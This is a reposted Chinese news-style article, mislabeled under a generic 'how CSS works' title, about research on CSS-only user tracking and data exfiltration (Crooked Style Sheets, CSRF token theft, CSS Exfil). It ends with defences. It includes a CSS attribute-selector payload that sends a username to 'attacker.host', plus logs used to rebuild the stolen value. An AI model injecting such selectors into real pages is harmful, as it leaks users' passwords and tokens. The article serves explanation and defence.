CSS工作原理是什么

這篇文章主要介紹“CSS工作原理是什么”，在日常操作中，相信很多人在CSS工作原理是什么問題上存在疑惑，小編查閱了各式資料，整理出簡單好用的操作方法，希望對大家解答”CSS工作原理是什么”的疑惑有所幫助！接下來，請跟著小編一起來學習吧！

CSS不僅在網頁展現時強大，在追蹤用戶時也能發揮作用。它能夠追蹤網站用戶，從網頁中提取和竊取數據，收集表單域中輸入的數據（包括密碼），甚至讓暗網用戶暴露身份。

在過去的一個月里，三個有趣的研究項目都把CSS作為攻擊媒介，顯示了這種看似無害的語言也能被用來針對用戶。

使用CSS跟蹤頁面上的用戶

關于這個主題的第一個項目是JanB?hmer的一個項目“Crooked Style Sheets”，這個項目提供了一個無JavaScript的跟蹤方案，可以通過CSS代碼的頁面交互跟蹤用戶。

B?hmer表示，他可以跟蹤用戶何時懸停鼠標，何時點擊鏈接，何時在輸入字段中輸入文本，以及收集大量真實的用戶代理信息，即便用戶使用假的UA也沒有用。

使用CSS竊取CSRF token

與B?hmer的工作不同，安全研究人員Dylan Ayrey（XSSJacking作者）也在上周末發布了新的研究成果，展示攻擊者如何濫用CSS來竊取CSRF（用戶身份驗證）token。

Ayrey的攻擊只適用于在各種HTML頁面元素的屬性中存儲CSRF令牌的嚴重錯誤的網站和應用程序，因此其范圍非常有限。這種攻擊可能很容易被網站/應用程序所有者擊敗，他們發現一種更安全的方式來驗證用戶，而不會在網頁的源代碼中傾銷CSRF令牌。

Ayrey的技術依賴于在網頁中注入CSS代碼，使用CSS屬性選擇器每次猜解CSRF token的一個字母。

攻擊需要10秒鐘左右完成，甚至可以在不需要iframe的情況下工作，不需要持續流量的遠程服務器也就沒有機會提醒出現問題的用戶。

CSS屬性選擇器的威脅不止于此

Ayrey的研究只是停留在表面。過去的一個月中，安全研究員Mike Gualtieri也一直在努力使用相同的技術，但不僅僅是竊取token。

Gualtieri研究的是如何使用CSS屬性選擇器來猜測留在HTML標簽內的敏感內容。

研究人員能夠利用這種方法收集在表單域中輸入的敏感用戶數據，包括密碼字符串。

工作原理

Ayrey和Gualtieri的方法都利用了CSS屬性選擇器，屬性選擇器能讓開發人員查詢單個屬性的頁面HTML標記，并且匹配它們的值。

舉個例子，下面的CSS代碼將搜索頁面中的“href”屬性包含“facebook”字符串的鏈接元素（“a”），并將所有這些鏈接加上藍色。

a[href*="facebook"] {
  color: blue;
}

這些查詢看似無害，但在研究人員看來可能被用來實施攻擊。

這些查詢可以拼接在一起，執行基本的字典暴力攻擊，并嘗試猜測屬性的起始字母，然后將識別的字母添加到新的模式匹配語法中，從而攻擊者可以猜解第二個，第三個等字母。

[attribute=value]   [foo=bar]     選擇foo =“bar”的所有元素

[attribute~=value]  [foo~=bar]    選擇所有包含單詞“bar”的foo屬性的元素

[attribute|=value]  [foo|=bar]    選擇所有具有以“bar”開頭的foo屬性值的元素

[attribute^=value]  [foo^="bar"]  選擇所有具有以“bar”開頭的foo屬性值的元素

[attribute$=value]  [foo$="bar"]  選擇所有具有以“bar”結尾的foo屬性值的元素

[attribute*=value]  [foo*="bar"]  選擇所有包含子字符串“bar”的foo屬性的元素

攻擊者需要構造惡意HTTP請求，執行CSS代碼選擇器。

#username[value="ZeroC00L"] {
            background:url("https://attacker.host/ZeroC00L");
}

攻擊者只需要通過對服務器404的錯誤篩選，找出想要的結果。

127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22

之后再把字符串組合成完整的數據

Z           # Z_
Ze          # Ze
Zer         # er
Zero        # ro
ZeroC       # oC
ZeroC0      # C0
ZeroC00     # 00
ZeroC00L    # 0L _L

Ayrey和Gualtieri用了兩種不同的方法進行攻擊。 Ayrey一次猜測最后一個字母，而Gualtieri則通過多個猜測來重建字符串，最后將他們組合。

兩種方法都有效。Ayrey的方法噪音較大，但可以很容易自動化，而Gualtieri的方法更快（也可以自動化），但在某些情況下會依賴于人來拼接字符串。

Gualtieri將此技術命名為CSS Exfil。但CSS Exfil只能在加載時竊取頁面上的HTML屬性，不能在初始頁面加載后從動態注入的代碼中竊取。 Gualtieri認為這不是大問題，他的研究提到攻擊者可以有各種解決方法。

防御方式

防范CSS Exfil攻擊可以分為兩個層面。首先，網站和網絡應用程序作者可以實施內容安全策略（CSP），防止攻擊者從外部加載CSS代碼。

其次，訪客還可以安裝Gualtieri的Firefox或Chrome擴展程序，它可以檢測Gualtieri在他的研究中記錄的所有類型的CSS Exfil攻擊，并在執行之前重寫惡意代碼。

你可以訪問這里的網頁進行測試。

到此，關于“CSS工作原理是什么”的學習就結束了，希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習，快去試試吧！若想繼續學習更多相關知識，請繼續關注億速云網站，小編會繼續努力為大家帶來更多實用的文章！